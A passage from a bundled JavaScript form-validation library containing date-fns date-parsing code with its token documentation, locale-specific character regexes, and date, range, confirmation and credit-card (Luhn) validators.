 * |                                 |     | MM      | 01, 02, ..., 12                   |       |
 * |                                 |     | MMM     | Jan, Feb, ..., Dec                |       |
 * |                                 |     | MMMM    | January, February, ..., December  | 2     |
 * |                                 |     | MMMMM   | J, F, ..., D                      |       |
 * | Month (stand-alone)             | 110 | L       | 1, 2, ..., 12                     |       |
 * |                                 |     | Lo      | 1st, 2nd, ..., 12th               | 5     |
 * |                                 |     | LL      | 01, 02, ..., 12                   |       |
 * |                                 |     | LLL     | Jan, Feb, ..., Dec                |       |
 * |                                 |     | LLLL    | January, February, ..., December  | 2     |
 * |                                 |     | LLLLL   | J, F, ..., D                      |       |
 * | Local week of year              | 100 | w       | 1, 2, ..., 53                     |       |
 * |                                 |     | wo      | 1st, 2nd, ..., 53th               | 5     |
 * |                                 |     | ww      | 01, 02, ..., 53                   |       |
 * | ISO week of year                | 100 | I       | 1, 2, ..., 53                     | 5     |
 * |                                 |     | Io      | 1st, 2nd, ..., 53th               | 5     |
 * |                                 |     | II      | 01, 02, ..., 53                   | 5     |
 * | Day of month                    |  90 | d       | 1, 2, ..., 31                     |       |
 * |                                 |     | do      | 1st, 2nd, ..., 31st               | 5     |
 * |                                 |     | dd      | 01, 02, ..., 31                   |       |
 * | Day of year                     |  90 | D       | 1, 2, ..., 365, 366               | 6     |
 * |                                 |     | Do      | 1st, 2nd, ..., 365th, 366th       | 5     |
 * |                                 |     | DD      | 01, 02, ..., 365, 366             | 6     |
 * |                                 |     | DDD     | 001, 002, ..., 365, 366           |       |
 * |                                 |     | DDDD    | ...                               | 2     |
 * | Day of week (formatting)        |  90 | E..EEE  | Mon, Tue, Wed, ..., Su            |       |
 * |                                 |     | EEEE    | Monday, Tuesday, ..., Sunday      | 2     |
 * |                                 |     | EEEEE   | M, T, W, T, F, S, S               |       |
 * |                                 |     | EEEEEE  | Mo, Tu, We, Th, Fr, Su, Sa        |       |
 * | ISO day of week (formatting)    |  90 | i       | 1, 2, 3, ..., 7                   | 5     |
 * |                                 |     | io      | 1st, 2nd, ..., 7th                | 5     |
 * |                                 |     | ii      | 01, 02, ..., 07                   | 5     |
 * |                                 |     | iii     | Mon, Tue, Wed, ..., Su            | 5     |
 * |                                 |     | iiii    | Monday, Tuesday, ..., Sunday      | 2,5   |
 * |                                 |     | iiiii   | M, T, W, T, F, S, S               | 5     |
 * |                                 |     | iiiiii  | Mo, Tu, We, Th, Fr, Su, Sa        | 5     |
 * | Local day of week (formatting)  |  90 | e       | 2, 3, 4, ..., 1                   |       |
 * |                                 |     | eo      | 2nd, 3rd, ..., 1st                | 5     |
 * |                                 |     | ee      | 02, 03, ..., 01                   |       |
 * |                                 |     | eee     | Mon, Tue, Wed, ..., Su            |       |
 * |                                 |     | eeee    | Monday, Tuesday, ..., Sunday      | 2     |
 * |                                 |     | eeeee   | M, T, W, T, F, S, S               |       |
 * |                                 |     | eeeeee  | Mo, Tu, We, Th, Fr, Su, Sa        |       |
 * | Local day of week (stand-alone) |  90 | c       | 2, 3, 4, ..., 1                   |       |
 * |                                 |     | co      | 2nd, 3rd, ..., 1st                | 5     |
 * |                                 |     | cc      | 02, 03, ..., 01                   |       |
 * |                                 |     | ccc     | Mon, Tue, Wed, ..., Su            |       |
 * |                                 |     | cccc    | Monday, Tuesday, ..., Sunday      | 2     |
 * |                                 |     | ccccc   | M, T, W, T, F, S, S               |       |
 * |                                 |     | cccccc  | Mo, Tu, We, Th, Fr, Su, Sa        |       |
 * | AM, PM                          |  80 | a..aaa  | AM, PM                            |       |
 * |                                 |     | aaaa    | a.m., p.m.                        | 2     |
 * |                                 |     | aaaaa   | a, p                              |       |
 * | AM, PM, noon, midnight          |  80 | b..bbb  | AM, PM, noon, midnight            |       |
 * |                                 |     | bbbb    | a.m., p.m., noon, midnight        | 2     |
 * |                                 |     | bbbbb   | a, p, n, mi                       |       |
 * | Flexible day period             |  80 | B..BBB  | at night, in the morning, ...     |       |
 * |                                 |     | BBBB    | at night, in the morning, ...     | 2     |
 * |                                 |     | BBBBB   | at night, in the morning, ...     |       |
 * | Hour [1-12]                     |  70 | h       | 1, 2, ..., 11, 12                 |       |
 * |                                 |     | ho      | 1st, 2nd, ..., 11th, 12th         | 5     |
 * |                                 |     | hh      | 01, 02, ..., 11, 12               |       |
 * | Hour [0-23]                     |  70 | H       | 0, 1, 2, ..., 23                  |       |
 * |                                 |     | Ho      | 0th, 1st, 2nd, ..., 23rd          | 5     |
 * |                                 |     | HH      | 00, 01, 02, ..., 23               |       |
 * | Hour [0-11]                     |  70 | K       | 1, 2, ..., 11, 0                  |       |
 * |                                 |     | Ko      | 1st, 2nd, ..., 11th, 0th          | 5     |
 * |                                 |     | KK      | 1, 2, ..., 11, 0                  |       |
 * | Hour [1-24]                     |  70 | k       | 24, 1, 2, ..., 23                 |       |
 * |                                 |     | ko      | 24th, 1st, 2nd, ..., 23rd         | 5     |
 * |                                 |     | kk      | 24, 01, 02, ..., 23               |       |
 * | Minute                          |  60 | m       | 0, 1, ..., 59                     |       |
 * |                                 |     | mo      | 0th, 1st, ..., 59th               | 5     |
 * |                                 |     | mm      | 00, 01, ..., 59                   |       |
 * | Second                          |  50 | s       | 0, 1, ..., 59                     |       |
 * |                                 |     | so      | 0th, 1st, ..., 59th               | 5     |
 * |                                 |     | ss      | 00, 01, ..., 59                   |       |
 * | Fraction of second              |  40 | S       | 0, 1, ..., 9                      |       |
 * |                                 |     | SS      | 00, 01, ..., 99                   |       |
 * |                                 |     | SSS     | 000, 0001, ..., 999               |       |
 * |                                 |     | SSSS    | ...                               | 2     |
 * | Timezone (ISO-8601 w/ Z)        |  20 | X       | -08, +0530, Z                     |       |
 * |                                 |     | XX      | -0800, +0530, Z                   |       |
 * |                                 |     | XXX     | -08:00, +05:30, Z                 |       |
 * |                                 |     | XXXX    | -0800, +0530, Z, +123456          | 2     |
 * |                                 |     | XXXXX   | -08:00, +05:30, Z, +12:34:56      |       |
 * | Timezone (ISO-8601 w/o Z)       |  20 | x       | -08, +0530, +00                   |       |
 * |                                 |     | xx      | -0800, +0530, +0000               |       |
 * |                                 |     | xxx     | -08:00, +05:30, +00:00            | 2     |
 * |                                 |     | xxxx    | -0800, +0530, +0000, +123456      |       |
 * |                                 |     | xxxxx   | -08:00, +05:30, +00:00, +12:34:56 |       |
 * | Seconds timestamp               |  10 | t       | 512969520                         |       |
 * |                                 |     | tt      | ...                               | 2     |
 * | Milliseconds timestamp          |  10 | T       | 512969520900                      |       |
 * |                                 |     | TT      | ...                               | 2     |
 * Notes:
 * 1. "Formatting" units (e.g. formatting quarter) in the default en-US locale
 *    are the same as "stand-alone" units, but are different in some languages.
 *    "Formatting" units are declined according to the rules of the language
 *    in the context of a date. "Stand-alone" units are always nominative singular.
 *    In `format` function, they will produce different result:
 *
 *    `format(new Date(2017, 10, 6), 'do LLLL', {locale: cs}) //=> '6. listopad'`
 *
 *    `format(new Date(2017, 10, 6), 'do MMMM', {locale: cs}) //=> '6. listopadu'`
 *
 *    `parse` will try to match both formatting and stand-alone units interchangably.
 *
 * 2. Any sequence of the identical letters is a pattern, unless it is escaped by
 *    the single quote characters (see below).
 *    If the sequence is longer than listed in table:
 *    - for numerical units (`yyyyyyyy`) `parse` will try to match a number
 *      as wide as the sequence
 *    - for text units (`MMMMMMMM`) `parse` will try to match the widest variation of the unit.
 *      These variations are marked with "2" in the last column of the table.
 *
 * 3. `QQQQQ` and `qqqqq` could be not strictly numerical in some locales.
 *    These tokens represent the shortest form of the quarter.
 *
 * 4. The main difference between `y` and `u` patterns are B.C. years:
 *
 *    | Year | `y` | `u` |
 *    |------|-----|-----|
 *    | AC 1 |   1 |   1 |
 *    | BC 1 |   1 |   0 |
 *    | BC 2 |   2 |  -1 |
 *
 *    Also `yy` will try to guess the century of two digit year by proximity with `baseDate`:
 *
 *    `parse('50', 'yy', new Date(2018, 0, 1)) //=> Sat Jan 01 2050 00:00:00`
 *
 *    `parse('75', 'yy', new Date(2018, 0, 1)) //=> Wed Jan 01 1975 00:00:00`
 *
 *    while `uu` will just assign the year as is:
 *
 *    `parse('50', 'uu', new Date(2018, 0, 1)) //=> Sat Jan 01 0050 00:00:00`
 *
 *    `parse('75', 'uu', new Date(2018, 0, 1)) //=> Tue Jan 01 0075 00:00:00`
 *
 *    The same difference is true for local and ISO week-numbering years (`Y` and `R`),
 *    except local week-numbering years are dependent on `options.weekStartsOn`
 *    and `options.firstWeekContainsDate` (compare [setISOWeekYear]{@link https://date-fns.org/docs/setISOWeekYear}
 *    and [setWeekYear]{@link https://date-fns.org/docs/setWeekYear}).
 *
 * 5. These patterns are not in the Unicode Technical Standard #35:
 *    - `i`: ISO day of week
 *    - `I`: ISO week of year
 *    - `R`: ISO week-numbering year
 *    - `o`: ordinal number modifier
 *
 * 6. These tokens are often confused with others. See: https://git.io/fxCyr
 *
 * Values will be assigned to the date in the descending order of its unit's priority.
 * Units of an equal priority overwrite each other in the order of appearance.
 *
 * If no values of higher priority are parsed (e.g. when parsing string 'January 1st' without a year),
 * the values will be taken from 3rd argument `baseDate` which works as a context of parsing.
 *
 * `baseDate` must be passed for correct work of the function.
 * If you're not sure which `baseDate` to supply, create a new instance of Date:
 * `parse('02/11/2014', 'MM/dd/yyyy', new Date())`
 * In this case parsing will be done in the context of the current date.
 * If `baseDate` is `Invalid Date` or a value not convertible to valid `Date`,
 * then `Invalid Date` will be returned.
 *
 * The result may vary by locale.
 *
 * If `formatString` matches with `dateString` but does not provides tokens, `baseDate` will be returned.
 *
 * If parsing failed, `Invalid Date` will be returned.
 * Invalid Date is a Date, whose time value is NaN.
 * Time value of Date: http://es5.github.io/#x15.9.1.1
 *
 * @param {String} dateString - the string to parse
 * @param {String} formatString - the string of tokens
 * @param {Date|String|Number} baseDate - defines values missing from the parsed dateString
 * @param {Options} [options] - the object with options. See [Options]{@link https://date-fns.org/docs/Options}
 * @param {0|1|2} [options.additionalDigits=2] - passed to `toDate`. See [toDate]{@link https://date-fns.org/docs/toDate}
 * @param {Locale} [options.locale=defaultLocale] - the locale object. See [Locale]{@link https://date-fns.org/docs/Locale}
 * @param {0|1|2|3|4|5|6} [options.weekStartsOn=0] - the index of the first day of the week (0 - Sunday)
 * @param {1|2|3|4|5|6|7} [options.firstWeekContainsDate=1] - the day of January, which is always in the first week of the year
 * @param {Boolean} [options.awareOfUnicodeTokens=false] - if true, allows usage of Unicode tokens causes confusion:
 *   - Some of the day of year tokens (`D`, `DD`) that are confused with the day of month tokens (`d`, `dd`).
 *   - Some of the local week-numbering year tokens (`YY`, `YYYY`) that are confused with the calendar year tokens (`yy`, `yyyy`).
 *   See: https://git.io/fxCyr
 * @returns {Date} the parsed date
 * @throws {TypeError} 3 arguments required
 * @throws {RangeError} `options.additionalDigits` must be 0, 1 or 2
 * @throws {RangeError} `options.weekStartsOn` must be between 0 and 6
 * @throws {RangeError} `options.firstWeekContainsDate` must be between 1 and 7
 * @throws {RangeError} `options.locale` must contain `match` property
 * @throws {RangeError} `options.awareOfUnicodeTokens` must be set to `true` to use `XX` token; see: https://git.io/fxCyr
 *
 * @example
 * // Parse 11 February 2014 from middle-endian format:
 * var result = parse(
 *   '02/11/2014',
 *   'MM/dd/yyyy',
 *   new Date()
 * )
 * //=> Tue Feb 11 2014 00:00:00
 *
 * @example
 * // Parse 28th of February in Esperanto locale in the context of 2010 year:
 * import eo from 'date-fns/locale/eo'
 * var result = parse(
 *   '28-a de februaro',
 *   "do 'de' MMMM",
 *   new Date(2010, 0, 1),
 *   {locale: eo}
 * )
 * //=> Sun Feb 28 2010 00:00:00
 */
function parse(
  dirtyDateString,
  dirtyFormatString,
  dirtyBaseDate,
  dirtyOptions
) {
  if (arguments.length < 3) {
    throw new TypeError(
      '3 arguments required, but only ' + arguments.length + ' present'
    )
  }

  var dateString = String(dirtyDateString);
  var formatString = String(dirtyFormatString);
  var options = dirtyOptions || {};

  var locale$1 = options.locale || locale;

  if (!locale$1.match) {
    throw new RangeError('locale must contain match property')
  }

  var localeFirstWeekContainsDate =
    locale$1.options && locale$1.options.firstWeekContainsDate;
  var defaultFirstWeekContainsDate =
    localeFirstWeekContainsDate == null
      ? 1
      : toInteger(localeFirstWeekContainsDate);
  var firstWeekContainsDate =
    options.firstWeekContainsDate == null
      ? defaultFirstWeekContainsDate
      : toInteger(options.firstWeekContainsDate);

  // Test if weekStartsOn is between 1 and 7 _and_ is not NaN
  if (!(firstWeekContainsDate >= 1 && firstWeekContainsDate <= 7)) {
    throw new RangeError(
      'firstWeekContainsDate must be between 1 and 7 inclusively'
    )
  }

  var localeWeekStartsOn = locale$1.options && locale$1.options.weekStartsOn;
  var defaultWeekStartsOn =
    localeWeekStartsOn == null ? 0 : toInteger(localeWeekStartsOn);
  var weekStartsOn =
    options.weekStartsOn == null
      ? defaultWeekStartsOn
      : toInteger(options.weekStartsOn);

  // Test if weekStartsOn is between 0 and 6 _and_ is not NaN
  if (!(weekStartsOn >= 0 && weekStartsOn <= 6)) {
    throw new RangeError('weekStartsOn must be between 0 and 6 inclusively')
  }

  if (formatString === '') {
    if (dateString === '') {
      return toDate(dirtyBaseDate, options)
    } else {
      return new Date(NaN)
    }
  }

  var subFnOptions = {
    firstWeekContainsDate: firstWeekContainsDate,
    weekStartsOn: weekStartsOn,
    locale: locale$1
  };

  // If timezone isn't specified, it will be set to the system timezone
  var setters = [
    {
      priority: TIMEZONE_UNIT_PRIORITY,
      set: dateToSystemTimezone,
      index: 0
    }
  ];

  var i;

  var tokens = formatString.match(formattingTokensRegExp$1);

  for (i = 0; i < tokens.length; i++) {
    var token = tokens[i];

    if (!options.awareOfUnicodeTokens && isProtectedToken(token)) {
      throwProtectedError(token);
    }

    var firstCharacter = token[0];
    var parser = parsers[firstCharacter];
    if (parser) {
      var parseResult = parser.parse(
        dateString,
        token,
        locale$1.match,
        subFnOptions
      );

      if (!parseResult) {
        return new Date(NaN)
      }

      setters.push({
        priority: parser.priority,
        set: parser.set,
        validate: parser.validate,
        value: parseResult.value,
        index: setters.length
      });

      dateString = parseResult.rest;
    } else {
      // Replace two single quote characters with one single quote character
      if (token === "''") {
        token = "'";
      } else if (firstCharacter === "'") {
        token = cleanEscapedString$1(token);
      }

      // Cut token from string, or, if string doesn't match the token, return Invalid Date
      if (dateString.indexOf(token) === 0) {
        dateString = dateString.slice(token.length);
      } else {
        return new Date(NaN)
      }
    }
  }

  // Check if the remaining input contains something other than whitespace
  if (dateString.length > 0 && notWhitespaceRegExp.test(dateString)) {
    return new Date(NaN)
  }

  var uniquePrioritySetters = setters
    .map(function(setter) {
      return setter.priority
    })
    .sort(function(a, b) {
      return b - a
    })
    .filter(function(priority, index, array) {
      return array.indexOf(priority) === index
    })
    .map(function(priority) {
      return setters
        .filter(function(setter) {
          return setter.priority === priority
        })
        .reverse()
    })
    .map(function(setterArray) {
      return setterArray[0]
    });

  var date = toDate(dirtyBaseDate, options);

  if (isNaN(date)) {
    return new Date(NaN)
  }

  // Convert the date in system timezone to the same date in UTC+00:00 timezone.
  // This ensures that when UTC functions will be implemented, locales will be compatible with them.
  // See an issue about UTC functions: https://github.com/date-fns/date-fns/issues/37
  var utcDate = subMilliseconds(date, getTimezoneOffsetInMilliseconds(date));

  for (i = 0; i < uniquePrioritySetters.length; i++) {
    var setter = uniquePrioritySetters[i];

    if (
      setter.validate &&
      !setter.validate(utcDate, setter.value, subFnOptions)
    ) {
      return new Date(NaN)
    }

    utcDate = setter.set(utcDate, setter.value, subFnOptions);
  }

  return utcDate
}

function dateToSystemTimezone(date) {
  var convertedDate = new Date(0);
  convertedDate.setFullYear(
    date.getUTCFullYear(),
    date.getUTCMonth(),
    date.getUTCDate()
  );
  convertedDate.setHours(
    date.getUTCHours(),
    date.getUTCMinutes(),
    date.getUTCSeconds(),
    date.getUTCMilliseconds()
  );
  return convertedDate
}

function cleanEscapedString$1(input) {
  return input.match(escapedStringRegExp$1)[1].replace(doubleQuoteRegExp$1, "'")
}

// 

/**
 * Custom parse behavior on top of date-fns parse function.
 */
function parseDate$1 (date, format$1) {
  if (typeof date !== 'string') {
    return isValid(date) ? date : null;
  }

  var parsed = parse(date, format$1, new Date());

  // if date is not valid or the formatted output after parsing does not match
  // the string value passed in (avoids overflows)
  if (!isValid(parsed) || format(parsed, format$1) !== date) {
    return null;
  }

  return parsed;
}

var afterValidator = function (value, ref) {
  if ( ref === void 0 ) ref = {};
  var targetValue = ref.targetValue;
  var inclusion = ref.inclusion; if ( inclusion === void 0 ) inclusion = false;
  var format = ref.format;

  if (typeof format === 'undefined') {
    format = inclusion;
    inclusion = false;
  }

  value = parseDate$1(value, format);
  targetValue = parseDate$1(targetValue, format);

  // if either is not valid.
  if (!value || !targetValue) {
    return false;
  }

  return isAfter(value, targetValue) || (inclusion && isEqual(value, targetValue));
};

var options = {
  hasTarget: true,
  isDate: true
};

// required to convert from a list of array values to an object.
var paramNames = ['targetValue', 'inclusion', 'format'];

var after = {
  validate: afterValidator,
  options: options,
  paramNames: paramNames
};

/**
 * Some Alpha Regex helpers.
 * https://github.com/chriso/validator.js/blob/master/src/lib/alpha.js
 */

var alpha = {
  en: /^[A-Z]*$/i,
  cs: /^[A-ZÁČĎÉĚÍŇÓŘŠŤÚŮÝŽ]*$/i,
  da: /^[A-ZÆØÅ]*$/i,
  de: /^[A-ZÄÖÜß]*$/i,
  es: /^[A-ZÁÉÍÑÓÚÜ]*$/i,
  fa: /^[ءآأؤإئابةتثجحخدذرزسشصضطظعغفقكلمنهوىيًٌٍَُِّْٰپژگچکی]*$/,
  fr: /^[A-ZÀÂÆÇÉÈÊËÏÎÔŒÙÛÜŸ]*$/i,
  it: /^[A-Z\xC0-\xFF]*$/i,
  lt: /^[A-ZĄČĘĖĮŠŲŪŽ]*$/i,
  nl: /^[A-ZÉËÏÓÖÜ]*$/i,
  hu: /^[A-ZÁÉÍÓÖŐÚÜŰ]*$/i,
  pl: /^[A-ZĄĆĘŚŁŃÓŻŹ]*$/i,
  pt: /^[A-ZÃÁÀÂÇÉÊÍÕÓÔÚÜ]*$/i,
  ru: /^[А-ЯЁ]*$/i,
  sk: /^[A-ZÁÄČĎÉÍĹĽŇÓŔŠŤÚÝŽ]*$/i,
  sr: /^[A-ZČĆŽŠĐ]*$/i,
  sv: /^[A-ZÅÄÖ]*$/i,
  tr: /^[A-ZÇĞİıÖŞÜ]*$/i,
  uk: /^[А-ЩЬЮЯЄІЇҐ]*$/i,
  ar: /^[ءآأؤإئابةتثجحخدذرزسشصضطظعغفقكلمنهوىيًٌٍَُِّْٰ]*$/,
  az: /^[A-ZÇƏĞİıÖŞÜ]*$/i
};

var alphaSpaces = {
  en: /^[A-Z\s]*$/i,
  cs: /^[A-ZÁČĎÉĚÍŇÓŘŠŤÚŮÝŽ\s]*$/i,
  da: /^[A-ZÆØÅ\s]*$/i,
  de: /^[A-ZÄÖÜß\s]*$/i,
  es: /^[A-ZÁÉÍÑÓÚÜ\s]*$/i,
  fa: /^[ءآأؤإئابةتثجحخدذرزسشصضطظعغفقكلمنهوىيًٌٍَُِّْٰپژگچکی\s]*$/,
  fr: /^[A-ZÀÂÆÇÉÈÊËÏÎÔŒÙÛÜŸ\s]*$/i,
  it: /^[A-Z\xC0-\xFF\s]*$/i,
  lt: /^[A-ZĄČĘĖĮŠŲŪŽ\s]*$/i,
  nl: /^[A-ZÉËÏÓÖÜ\s]*$/i,
  hu: /^[A-ZÁÉÍÓÖŐÚÜŰ\s]*$/i,
  pl: /^[A-ZĄĆĘŚŁŃÓŻŹ\s]*$/i,
  pt: /^[A-ZÃÁÀÂÇÉÊÍÕÓÔÚÜ\s]*$/i,
  ru: /^[А-ЯЁ\s]*$/i,
  sk: /^[A-ZÁÄČĎÉÍĹĽŇÓŔŠŤÚÝŽ\s]*$/i,
  sr: /^[A-ZČĆŽŠĐ\s]*$/i,
  sv: /^[A-ZÅÄÖ\s]*$/i,
  tr: /^[A-ZÇĞİıÖŞÜ\s]*$/i,
  uk: /^[А-ЩЬЮЯЄІЇҐ\s]*$/i,
  ar: /^[ءآأؤإئابةتثجحخدذرزسشصضطظعغفقكلمنهوىيًٌٍَُِّْٰ\s]*$/,
  az: /^[A-ZÇƏĞİıÖŞÜ\s]*$/i
};

var alphanumeric = {
  en: /^[0-9A-Z]*$/i,
  cs: /^[0-9A-ZÁČĎÉĚÍŇÓŘŠŤÚŮÝŽ]*$/i,
  da: /^[0-9A-ZÆØÅ]$/i,
  de: /^[0-9A-ZÄÖÜß]*$/i,
  es: /^[0-9A-ZÁÉÍÑÓÚÜ]*$/i,
  fa: /^[٠١٢٣٤٥٦٧٨٩0-9ءآأؤإئابةتثجحخدذرزسشصضطظعغفقكلمنهوىيًٌٍَُِّْٰپژگچکی]*$/,
  fr: /^[0-9A-ZÀÂÆÇÉÈÊËÏÎÔŒÙÛÜŸ]*$/i,
  it: /^[0-9A-Z\xC0-\xFF]*$/i,
  lt: /^[0-9A-ZĄČĘĖĮŠŲŪŽ]*$/i,
  hu: /^[0-9A-ZÁÉÍÓÖŐÚÜŰ]*$/i,
  nl: /^[0-9A-ZÉËÏÓÖÜ]*$/i,
  pl: /^[0-9A-ZĄĆĘŚŁŃÓŻŹ]*$/i,
  pt: /^[0-9A-ZÃÁÀÂÇÉÊÍÕÓÔÚÜ]*$/i,
  ru: /^[0-9А-ЯЁ]*$/i,
  sk: /^[0-9A-ZÁÄČĎÉÍĹĽŇÓŔŠŤÚÝŽ]*$/i,
  sr: /^[0-9A-ZČĆŽŠĐ]*$/i,
  sv: /^[0-9A-ZÅÄÖ]*$/i,
  tr: /^[0-9A-ZÇĞİıÖŞÜ]*$/i,
  uk: /^[0-9А-ЩЬЮЯЄІЇҐ]*$/i,
  ar: /^[٠١٢٣٤٥٦٧٨٩0-9ءآأؤإئابةتثجحخدذرزسشصضطظعغفقكلمنهوىيًٌٍَُِّْٰ]*$/,
  az: /^[0-9A-ZÇƏĞİıÖŞÜ]*$/i
};

var alphaDash = {
  en: /^[0-9A-Z_-]*$/i,
  cs: /^[0-9A-ZÁČĎÉĚÍŇÓŘŠŤÚŮÝŽ_-]*$/i,
  da: /^[0-9A-ZÆØÅ_-]*$/i,
  de: /^[0-9A-ZÄÖÜß_-]*$/i,
  es: /^[0-9A-ZÁÉÍÑÓÚÜ_-]*$/i,
  fa: /^[٠١٢٣٤٥٦٧٨٩0-9ءآأؤإئابةتثجحخدذرزسشصضطظعغفقكلمنهوىيًٌٍَُِّْٰپژگچکی_-]*$/,
  fr: /^[0-9A-ZÀÂÆÇÉÈÊËÏÎÔŒÙÛÜŸ_-]*$/i,
  it: /^[0-9A-Z\xC0-\xFF_-]*$/i,
  lt: /^[0-9A-ZĄČĘĖĮŠŲŪŽ_-]*$/i,
  nl: /^[0-9A-ZÉËÏÓÖÜ_-]*$/i,
  hu: /^[0-9A-ZÁÉÍÓÖŐÚÜŰ_-]*$/i,
  pl: /^[0-9A-ZĄĆĘŚŁŃÓŻŹ_-]*$/i,
  pt: /^[0-9A-ZÃÁÀÂÇÉÊÍÕÓÔÚÜ_-]*$/i,
  ru: /^[0-9А-ЯЁ_-]*$/i,
  sk: /^[0-9A-ZÁÄČĎÉÍĹĽŇÓŔŠŤÚÝŽ_-]*$/i,
  sr: /^[0-9A-ZČĆŽŠĐ_-]*$/i,
  sv: /^[0-9A-ZÅÄÖ_-]*$/i,
  tr: /^[0-9A-ZÇĞİıÖŞÜ_-]*$/i,
  uk: /^[0-9А-ЩЬЮЯЄІЇҐ_-]*$/i,
  ar: /^[٠١٢٣٤٥٦٧٨٩0-9ءآأؤإئابةتثجحخدذرزسشصضطظعغفقكلمنهوىيًٌٍَُِّْٰ_-]*$/,
  az: /^[0-9A-ZÇƏĞİıÖŞÜ_-]*$/i
};

var validate = function (value, ref) {
  if ( ref === void 0 ) ref = {};
  var locale = ref.locale;

  if (Array.isArray(value)) {
    return value.every(function (val) { return validate(val, [locale]); });
  }

  // Match at least one locale.
  if (! locale) {
    return Object.keys(alpha).some(function (loc) { return alpha[loc].test(value); });
  }

  return (alpha[locale] || alpha.en).test(value);
};

var paramNames$1 = ['locale'];

var alpha$1 = {
  validate: validate,
  paramNames: paramNames$1
};

var validate$1 = function (value, ref) {
  if ( ref === void 0 ) ref = {};
  var locale = ref.locale;

  if (Array.isArray(value)) {
    return value.every(function (val) { return validate$1(val, [locale]); });
  }

  // Match at least one locale.
  if (! locale) {
    return Object.keys(alphaDash).some(function (loc) { return alphaDash[loc].test(value); });
  }

  return (alphaDash[locale] || alphaDash.en).test(value);
};

var paramNames$2 = ['locale'];

var alpha_dash = {
  validate: validate$1,
  paramNames: paramNames$2
};

var validate$2 = function (value, ref) {
  if ( ref === void 0 ) ref = {};
  var locale = ref.locale;

  if (Array.isArray(value)) {
    return value.every(function (val) { return validate$2(val, [locale]); });
  }

  // Match at least one locale.
  if (! locale) {
    return Object.keys(alphanumeric).some(function (loc) { return alphanumeric[loc].test(value); });
  }

  return (alphanumeric[locale] || alphanumeric.en).test(value);
};

var paramNames$3 = ['locale'];

var alpha_num = {
  validate: validate$2,
  paramNames: paramNames$3
};

var validate$3 = function (value, ref) {
  if ( ref === void 0 ) ref = {};
  var locale = ref.locale;

  if (Array.isArray(value)) {
    return value.every(function (val) { return validate$3(val, [locale]); });
  }

  // Match at least one locale.
  if (! locale) {
    return Object.keys(alphaSpaces).some(function (loc) { return alphaSpaces[loc].test(value); });
  }

  return (alphaSpaces[locale] || alphaSpaces.en).test(value);
};

var paramNames$4 = ['locale'];

var alpha_spaces = {
  validate: validate$3,
  paramNames: paramNames$4
};

var validate$4 = function (value, ref) {
  if ( ref === void 0 ) ref = {};
  var targetValue = ref.targetValue;
  var inclusion = ref.inclusion; if ( inclusion === void 0 ) inclusion = false;
  var format = ref.format;

  if (typeof format === 'undefined') {
    format = inclusion;
    inclusion = false;
  }

  value = parseDate$1(value, format);
  targetValue = parseDate$1(targetValue, format);

  // if either is not valid.
  if (!value || !targetValue) {
    return false;
  }

  return isBefore(value, targetValue) || (inclusion && isEqual(value, targetValue));
};

var options$1 = {
  hasTarget: true,
  isDate: true
};

var paramNames$5 = ['targetValue', 'inclusion', 'format'];

var before = {
  validate: validate$4,
  options: options$1,
  paramNames: paramNames$5
};

var validate$5 = function (value, ref) {
  if ( ref === void 0 ) ref = {};
  var min = ref.min;
  var max = ref.max;

  if (Array.isArray(value)) {
    return value.every(function (val) { return validate$5(val, { min: min, max: max }); });
  }

  return Number(min) <= value && Number(max) >= value;
};

var paramNames$6 = ['min', 'max'];

var between = {
  validate: validate$5,
  paramNames: paramNames$6
};

var validate$6 = function (value, ref) {
  var targetValue = ref.targetValue;

  return String(value) === String(targetValue);
};
var options$2 = {
  hasTarget: true
};

var paramNames$7 = ['targetValue'];

var confirmed = {
  validate: validate$6,
  options: options$2,
  paramNames: paramNames$7
};

function unwrapExports (x) {
	return x && x.__esModule && Object.prototype.hasOwnProperty.call(x, 'default') ? x['default'] : x;
}

function createCommonjsModule(fn, module) {
	return module = { exports: {} }, fn(module, module.exports), module.exports;
}

var assertString_1 = createCommonjsModule(function (module, exports) {

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = assertString;

function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }

function assertString(input) {
  var isString = typeof input === 'string' || input instanceof String;

  if (!isString) {
    var invalidType;

    if (input === null) {
      invalidType = 'null';
    } else {
      invalidType = _typeof(input);

      if (invalidType === 'object' && input.constructor && input.constructor.hasOwnProperty('name')) {
        invalidType = input.constructor.name;
      } else {
        invalidType = "a ".concat(invalidType);
      }
    }

    throw new TypeError("Expected string but received ".concat(invalidType, "."));
  }
}

module.exports = exports.default;
module.exports.default = exports.default;
});

unwrapExports(assertString_1);

var isCreditCard_1 = createCommonjsModule(function (module, exports) {

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = isCreditCard;

var _assertString = _interopRequireDefault(assertString_1);

function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }

/* eslint-disable max-len */
var creditCard = /^(?:4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}|(222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[01][0-9]|2720)[0-9]{12}|6(?:011|5[0-9][0-9])[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|(?:2131|1800|35\d{3})\d{11}|6[27][0-9]{14})$/;
/* eslint-enable max-len */

function isCreditCard(str) {
  (0, _assertString.default)(str);
  var sanitized = str.replace(/[- ]+/g, '');

  if (!creditCard.test(sanitized)) {
    return false;
  }

  var sum = 0;
  var digit;
  var tmpNum;
  var shouldDouble;

  for (var i = sanitized.length - 1; i >= 0; i--) {
    digit = sanitized.substring(i, i + 1);
    tmpNum = parseInt(digit, 10);

    if (shouldDouble) {
      tmpNum *= 2;

      if (tmpNum >= 10) {
        sum += tmpNum % 10 + 1;
      } else {
        sum += tmpNum;
      }
    } else {
      sum += tmpNum;
    }

    shouldDouble = !shouldDouble;
  }

  return !!(sum % 10 === 0 ? sanitized : false);
}

module.exports = exports.default;
module.exports.default = exports.default;
});

var isCreditCard = unwrapExports(isCreditCard_1);

var validate$7 = function (value) { return isCreditCard(String(value)); };

var credit_card = {
  validate: validate$7
};

var validate$8 = function (value, ref) {
  if ( ref === void 0 ) ref = {};
  var min = ref.min;
  var max = ref.max;
  var inclusivity = ref.inclusivity; if ( inclusivity === void 0 ) inclusivity = '()';
  var format = ref.format;

  if (typeof format === 'undefined') {
